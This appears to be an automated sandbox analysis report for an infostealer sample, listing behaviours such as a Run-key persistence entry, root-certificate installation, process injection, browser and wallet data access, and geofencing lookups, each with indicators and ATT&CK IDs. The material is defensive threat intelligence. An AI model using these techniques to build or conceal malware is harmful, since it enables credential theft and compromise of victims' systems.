onlylogger | 6adee9708eeb07df53ced6a40ad5eab5e92be4f86a314835a8ec6e78d20cef62

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	dOX4oNINb0LSDZsnnFjj7YpH.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	PBCiOh68y9UfstR0tk1UjmNk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	bPm6wsPDOU408G18DH9jCh1a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	LightCleaner2352312.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Gi2jH6lCmtoQdkO8DNCJE31R.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	chenling.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	search_hyperfs_211.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	AhMK_x4aCopUMXN6bXS0OV8S.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	EbqNjRh1LDdgtb170sy20FMH.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	VL3bPKyd122cgLa9lV0zlos8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Dn40KwYVtMsQa8aUWaa1SNZd.exe

Loads dropped DLL 6 IoCs

pid	Process
6008	Routes Installation.exe
6008	Routes Installation.exe
6008	Routes Installation.exe
6008	Routes Installation.exe
5288	rundll32.exe
6008	Routes Installation.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xss_2_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\xss\\xss_2_1.exe\""	Q4W8MXYAP0k39PCPaV_wZ4Tr.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
162	ipinfo.io
176	ipinfo.io
247	ip-api.com
39	ipinfo.io
40	ipinfo.io
147	ipinfo.io
148	ipinfo.io

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 21 IoCs

pid	Process
1796	7HO_6mh3ra01tx9d0NsZ5gLG.exe
2980	TgwD3hzHhNr2B7ZgobK0GO5X.exe
1660	_48ZWp1s4ec64NIHBdZrn1MJ.exe
2904	G6nzowjdUZQdAIpRpjVdY1LY.exe
4928	NFm7rCBvdPZ5FpmPG8mu6uNB.exe
5940	g2XKQVHE6Cuk9xlIvj20CmfL.exe
5808	jg1_1faf.exe
5300	jCOusEWJWhk0UNELXZdGFzaX.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe
1460	jg6_6asg.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3332 set thread context of 4788	3332	q_pi8gkYgmZg2IppzsYm4ZMF.exe	126
PID 1752 set thread context of 5768	1752	zXF8ZIHX1u5GZ3x6Jjp2J344.exe	142
PID 1260 set thread context of 1936	1260	Q4W8MXYAP0k39PCPaV_wZ4Tr.exe	231

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	dOX4oNINb0LSDZsnnFjj7YpH.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	dOX4oNINb0LSDZsnnFjj7YpH.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	EbqNjRh1LDdgtb170sy20FMH.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	EbqNjRh1LDdgtb170sy20FMH.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	EbqNjRh1LDdgtb170sy20FMH.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	jg1_1faf.exe
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	jg1_1faf.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	jg1_1faf.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\System\svchost.exe	bPm6wsPDOU408G18DH9jCh1a.exe
File created	C:\Windows\System\xxx1.bak	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File created	C:\Windows\System\xxx1.bak	bPm6wsPDOU408G18DH9jCh1a.exe
File created	C:\Windows\System\svchost.exe	bPm6wsPDOU408G18DH9jCh1a.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
5696	4984	WerFault.exe	112
5708	3464	WerFault.exe	122
5756	1172	WerFault.exe	97
5652	1140	WerFault.exe	157

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
5332	schtasks.exe
5388	schtasks.exe
456	schtasks.exe
808	schtasks.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
2580	tasklist.exe
5852	tasklist.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings	Dn40KwYVtMsQa8aUWaa1SNZd.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	245	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe
2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe
816	LBordS_wRswZkyFgyZkoALaB.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2024	svchost.exe
Token: SeCreatePagefilePrivilege	2024	svchost.exe
Token: SeShutdownPrivilege	2024	svchost.exe
Token: SeCreatePagefilePrivilege	2024	svchost.exe
Token: SeShutdownPrivilege	2024	svchost.exe
Token: SeCreatePagefilePrivilege	2024	svchost.exe
Token: SeDebugPrivilege	4716	NOitGj1HFrbv6Pflm75zGhWS.exe
Token: SeRestorePrivilege	5756	WerFault.exe
Token: SeBackupPrivilege	5756	WerFault.exe
Token: SeBackupPrivilege	5756	WerFault.exe
Token: SeDebugPrivilege	1260	Q4W8MXYAP0k39PCPaV_wZ4Tr.exe
Token: SeDebugPrivilege	2580	tasklist.exe
Token: SeDebugPrivilege	5852	tasklist.exe
Token: SeDebugPrivilege	4388	powershell.EXE
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	5232	powershell.exe
Token: SeDebugPrivilege	4828	LightCleaner2352312.exe
Token: SeCreateTokenPrivilege	3092	askinstall63.exe
Token: SeAssignPrimaryTokenPrivilege	3092	askinstall63.exe
Token: SeLockMemoryPrivilege	3092	askinstall63.exe
Token: SeIncreaseQuotaPrivilege	3092	askinstall63.exe
Token: SeMachineAccountPrivilege	3092	askinstall63.exe
Token: SeTcbPrivilege	3092	askinstall63.exe
Token: SeSecurityPrivilege	3092	askinstall63.exe
Token: SeTakeOwnershipPrivilege	3092	askinstall63.exe
Token: SeLoadDriverPrivilege	3092	askinstall63.exe
Token: SeSystemProfilePrivilege	3092	askinstall63.exe
Token: SeSystemtimePrivilege	3092	askinstall63.exe
Token: SeProfSingleProcessPrivilege	3092	askinstall63.exe
Token: SeIncBasePriorityPrivilege	3092	askinstall63.exe
Token: SeCreatePagefilePrivilege	3092	askinstall63.exe
Token: SeCreatePermanentPrivilege	3092	askinstall63.exe
Token: SeBackupPrivilege	3092	askinstall63.exe
Token: SeRestorePrivilege	3092	askinstall63.exe
Token: SeShutdownPrivilege	3092	askinstall63.exe
Token: SeDebugPrivilege	3092	askinstall63.exe
Token: SeAuditPrivilege	3092	askinstall63.exe
Token: SeSystemEnvironmentPrivilege	3092	askinstall63.exe
Token: SeChangeNotifyPrivilege	3092	askinstall63.exe
Token: SeRemoteShutdownPrivilege	3092	askinstall63.exe
Token: SeUndockPrivilege	3092	askinstall63.exe
Token: SeSyncAgentPrivilege	3092	askinstall63.exe
Token: SeEnableDelegationPrivilege	3092	askinstall63.exe
Token: SeManageVolumePrivilege	3092	askinstall63.exe
Token: SeImpersonatePrivilege	3092	askinstall63.exe
Token: SeCreateGlobalPrivilege	3092	askinstall63.exe
Token: 31	3092	askinstall63.exe
Token: 32	3092	askinstall63.exe
Token: 33	3092	askinstall63.exe
Token: 34	3092	askinstall63.exe
Token: 35	3092	askinstall63.exe
Token: SeDebugPrivilege	4184	go-memexec-304629383.exe
Token: SeSecurityPrivilege	2768	TiWorker.exe
Token: SeRestorePrivilege	2768	TiWorker.exe
Token: SeBackupPrivilege	2768	TiWorker.exe
Token: SeManageVolumePrivilege	5808	jg1_1faf.exe
Token: SeManageVolumePrivilege	1460	jg6_6asg.exe
Token: SeDebugPrivilege	3604	anytime1.exe
Token: SeDebugPrivilege	5708	anytime3.exe
Token: SeDebugPrivilege	5580	anytime2.exe
Token: SeDebugPrivilege	972	anytime4.exe
Token: SeBackupPrivilege	2768	TiWorker.exe
Token: SeRestorePrivilege	2768	TiWorker.exe
Token: SeSecurityPrivilege	2768	TiWorker.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
5684	Tele.exe.pif
5684	Tele.exe.pif
5684	Tele.exe.pif
5684	Tele.exe.pif

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
5684	Tele.exe.pif
5684	Tele.exe.pif
5684	Tele.exe.pif
5684	Tele.exe.pif

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4648	chenling.exe
4648	chenling.exe
5200	chenling.exe
5200	chenling.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 816	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	94
PID 2856 wrote to memory of 816	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	94
PID 2856 wrote to memory of 4716	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	95
PID 2856 wrote to memory of 4716	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	95
PID 2856 wrote to memory of 4716	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	95
PID 2856 wrote to memory of 1172	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	97
PID 2856 wrote to memory of 1172	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	97
PID 2856 wrote to memory of 1172	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	97
PID 2856 wrote to memory of 1796	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	96
PID 2856 wrote to memory of 1796	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	96
PID 2856 wrote to memory of 1796	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	96
PID 2856 wrote to memory of 1644	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	102
PID 2856 wrote to memory of 1644	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	102
PID 2856 wrote to memory of 1644	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	102
PID 2856 wrote to memory of 2764	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	100
PID 2856 wrote to memory of 2764	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	100
PID 2856 wrote to memory of 2764	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	100
PID 2856 wrote to memory of 2244	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	101
PID 2856 wrote to memory of 2244	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	101
PID 2856 wrote to memory of 2244	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	101
PID 2856 wrote to memory of 3332	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	99
PID 2856 wrote to memory of 3332	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	99
PID 2856 wrote to memory of 3332	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	99
PID 2856 wrote to memory of 2980	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	103
PID 2856 wrote to memory of 2980	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	103
PID 2856 wrote to memory of 2980	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	103
PID 2856 wrote to memory of 3104	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	108
PID 2856 wrote to memory of 3104	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	108
PID 2856 wrote to memory of 3104	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	108
PID 2856 wrote to memory of 1752	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	104
PID 2856 wrote to memory of 1752	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	104
PID 2856 wrote to memory of 1752	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	104
PID 2856 wrote to memory of 1660	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	107
PID 2856 wrote to memory of 1660	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	107
PID 2856 wrote to memory of 1660	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	107
PID 2856 wrote to memory of 2904	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	105
PID 2856 wrote to memory of 2904	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	105
PID 2856 wrote to memory of 2904	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	105
PID 2856 wrote to memory of 4928	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	113
PID 2856 wrote to memory of 4928	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	113
PID 2856 wrote to memory of 4928	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	113
PID 2856 wrote to memory of 4984	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	112
PID 2856 wrote to memory of 4984	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	112
PID 2856 wrote to memory of 4984	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	112
PID 2856 wrote to memory of 1260	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	111
PID 2856 wrote to memory of 1260	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	111
PID 2856 wrote to memory of 1260	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	111
PID 2856 wrote to memory of 3688	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	109
PID 2856 wrote to memory of 3688	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	109
PID 2856 wrote to memory of 1384	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	106
PID 2856 wrote to memory of 1384	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	106
PID 2856 wrote to memory of 1384	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	106
PID 2856 wrote to memory of 3124	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	115
PID 2856 wrote to memory of 3124	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	115
PID 2856 wrote to memory of 1476	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	119
PID 2856 wrote to memory of 1476	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	119
PID 2856 wrote to memory of 1888	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	116
PID 2856 wrote to memory of 1888	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	116
PID 2856 wrote to memory of 1888	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	116
PID 3688 wrote to memory of 4184	3688	XcFNLotPlwUqlI0znaisyfJT.exe	120
PID 3688 wrote to memory of 4184	3688	XcFNLotPlwUqlI0znaisyfJT.exe	120
PID 3688 wrote to memory of 4184	3688	XcFNLotPlwUqlI0znaisyfJT.exe	120
PID 2856 wrote to memory of 3464	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	122
PID 2856 wrote to memory of 3464	2856	6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe	122

C:\Users\Admin\AppData\Local\Temp\6ADEE9708EEB07DF53CED6A40AD5EAB5E92BE4F86A314.exe
